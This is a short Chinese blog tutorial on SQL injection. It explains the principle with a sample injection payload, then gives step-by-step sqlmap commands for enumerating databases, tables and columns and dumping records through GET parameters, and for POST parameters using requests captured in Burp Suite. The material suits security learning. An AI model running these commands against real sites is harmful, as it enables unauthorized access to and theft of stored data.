利用burpsuite＋sqlmap POST自动化注入

介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例

 

 

对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式

sql注入的原理
1.以我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询.

2.正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1 这里,id=1是正常的参数

3.但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入s?id=1' and select database() --+ 这里and后的语句就是"非法语句",显然服务端不希望我们获取响应信息.这时,sql注入就出现了.

4.简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.

5.了解了sql注入的原理,就知道sql注入的条件了: 对用户端输入过滤不严格;并且可以带入数据库查询.

常用工具
sqlmap：代替手动，自动构造大量的sql语句探测漏洞，高效发现目标信息
burpsuite：抓包，拦截抓取到请求的参数，如果目标不是get请求，我们无法在url中拼接参数，所以需要抓包再结合sqlmap进入注入测试

get注入(使用sqlmap)

假设 http://www.test.com/fu?id=111 是存在注入点的url
①sqlmap注入爆数据库
python sqlmap.py -u "http://www.test.com/fu?id=111" --dbs

②爆出对应数据库中所有的表
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 --tables

③爆出对应表的列名
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 --columns

④爆出表的所有记录
python sqlmap.py -u "http://www.test.com/fu?id=111" -D 库名 -T 表名 -C "字段1,字段2,字段3,字段4" --dump

上述语法中 `-u` 可以省略

post注入（burpsuite＋sqlmap）

post请求无法通过以上的 sql语句直接扫描，下面是对于post请求的SQL漏洞测试方法
①通过burpsuite 查看请求
[BP的使用教程 -->https://blog.csdn.net/weixin_44203158/article/details/106229936]

右键copy to file 将请求内容保存为文件

②打开sqlmap

爆数据库语句 sqlmap -r 前面保存的位置 -p 请求参数 --dbs

获取库名后，爆表、字段、记录其它用法和get类型的请求一致

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原文链接：https://blog.csdn.net/weixin_44203158/article/details/105037917